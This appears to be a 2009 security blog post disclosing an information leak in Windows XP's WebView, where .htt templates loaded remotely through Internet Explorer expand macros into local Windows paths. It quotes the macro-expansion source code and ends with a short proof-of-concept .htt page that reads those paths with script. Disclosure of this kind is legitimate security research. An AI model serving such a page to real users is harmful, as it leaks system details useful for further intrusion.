Thursday, July 9, 2009

Exploiting WebView through Internet Explorer to remotely discover windows directory

As for any large product, Microsoft Windows operating system is built on its previous versions code. Some of this code even goes back until Microsoft Windows 98.

In Windows 98 a new look was introduced called "WebView" which included the way folders are displayed and the way the desktop is displayed are all HTML templates which were also editable to the default administrative user.You can read more about it here:http://msdn.microsoft.com/en-s/library/bb776835(VS.85).aspx

Those HTML Templates had the extension "htt". In order for the folder templates to function properly and being able to display the current folder, a few automatically expended variables were added to the module filtering the "htt" files. These are:
%TEMPLATEDIR% (hardcoded)
%THISDIRPATH% (hardcoded)
%THISDIRNAME% (hardcoded)
%BACKGROUNDIMAGE% (registry)
%LOGOLINE% (registry)

This mechanism lives until today deeply inside Windows XP's code in two modules inside the system32 folder:
1) Webvw.dll
2) Mshtml.dll

Webvw.dll is the module which is responsible for all the Webview installation and normal activity and mshtml.dll is the main module for HTML Filtering & Rendering used Windows Explorer and Internet Explorer.

When Microsoft Windows is installed and webvw.dll is registered, it adds it CLSID and a few registry keys. The interesting ones are these:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\WebView\TemplateMacros
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\WebView\TemplateMacros\BACKGROUNDIMAGE
Default = "%SystemRoot%\Web\wvleft.bmp"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\WebView\TemplateMacros\LOGOLINE
Default = "%SystemRoot%\Web\wvline.gif"

Every time an htt file is rendered, without any local-remote or any zone consideration, those variables are replaced with the current system's path.
This is the code inside mimeflt.cpp which contains the bug:Lines 360 to 433:

#define REG_WEBVIEW_TEMPLATE_MACROS
TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\WebView\\TemplateMacros")

void ConvertBytesToTChar(LPCBYTE pBuf, UINT nCharSize, LPTSTR psz, int cch) {
if (SIZEOF(char) == nCharSize) {
SHAnsiToTChar((LPCSTR)pBuf, psz, cch);
} else {
ASSERT(nCharSize == SIZEOF(WCHAR));
SHUnicodeToTChar((LPCWSTR)pBuf, psz, cch);
}
}

void ExpandMacro(LPBYTE pszMacro, LPBYTE pszExpansion, int nBytes, UINT nCharSize) {
TCHAR szExpansion[MAX_PATH];
szExpansion[0] = TEXT('\0');
TCHAR szTCharMacro[MAX_PATH];

ConvertBytesToTChar(pszMacro, nCharSize, szTCharMacro, ARRAYSIZE(szTCharMacro));
TCHAR szKey[MAX_PATH];
lstrcpyn(szKey, REG_WEBVIEW_TEMPLATE_MACROS, ARRAYSIZE(szKey));
StrCatBuff(szKey, TEXT("\\"), ARRAYSIZE(szKey));
StrCatBuff(szKey, szTCharMacro, ARRAYSIZE(szKey));
HKEY hkMacros;
if (RegOpenKey(HKEY_CURRENT_USER, szKey, &hkMacros) == ERROR_SUCCESS && RegOpenKey(HKEY_LOCAL_MACHINE, szKey, &hkMacros) == ERROR_SUCCESS) {
DWORD dwType;
DWORD cbData = SIZEOF(szExpansion);
SHQueryValueEx(hkMacros, NULL, NULL, &dwType, (LPBYTE)szExpansion, &cbData);
RegCloseKey(hkMacros);
}

ConvertTCharToBytes(szExpansion, nCharSize, pszExpansion, nBytes);
}

int CWebViewMimeFilter::_Expand(LPBYTE pszVar, LPBYTE * ppszExp) {
if (!_StrCmp(pszVar, "TEMPLATEDIR", L"TEMPLATEDIR")) {
if (!_szTemplateDirPath[0]) {
GetMachineTemplateDir(_szTemplateDirPath, SIZEOF(_szTemplateDirPath), _nCharSize);
}

*ppszExp = _szTemplateDirPath;

} else if (!_StrCmp(pszVar, "THISDIRPATH", L"THISDIRPATH")) {
if (!_szThisDirPath[0]) {
_QueryForDVCMDID(DVCMDID_GETTHISDIRPATH, _szThisDirPath, SIZEOF(_szThisDirPath));
}
*ppszExp = _szThisDirPath;

} else if (!_StrCmp(pszVar, "THISDIRNAME", L"THISDIRNAME")) {
if (!_szThisDirName[0]) {
_QueryForDVCMDID(DVCMDID_GETTHISDIRNAME, _szThisDirName, SIZEOF(_szThisDirName));
}
*ppszExp = _szThisDirName;

} else {
ExpandMacro(pszVar, _szExpansion, SIZEOF(_szExpansion), _nCharSize);
*ppszExp = _szExpansion;
}

return _StrLen(*ppszExp);
}

In Windows XP the variables "%THISDIRPATH%" and "%THISDIRNAME%" were removed from the Mime Filter which means %TEMPLATEDIR%, %BACKGROUNDIMAGE% and %LOGOLINE% would still be translated into the current windows directory.

The Proof Of Concept code (Remote WebView Macro Translation):
Save on a remote host with an htt extension and replace "http:///filter_trap.htt
--------------------------- filter_trap.htt start --------------------------------
[div id="BACKGROUNDIMAGE"]%BACKGROUNDIMAGE%[/div]
[div id="LOGOLINE"]%LOGOLINE%[/div]
[div id="TEMPLATEDIR"]%TEMPLATEDIR%[/div]
[script]
alert(document.getElementById("BACKGROUNDIMAGE").innerHTML);
alert(document.getElementById("LOGOLINE").innerHTML);
alert(document.getElementById("TEMPLATEDIR").innerHTML);
[/script]
--------------------------- filter_trap.htt end --------------------------------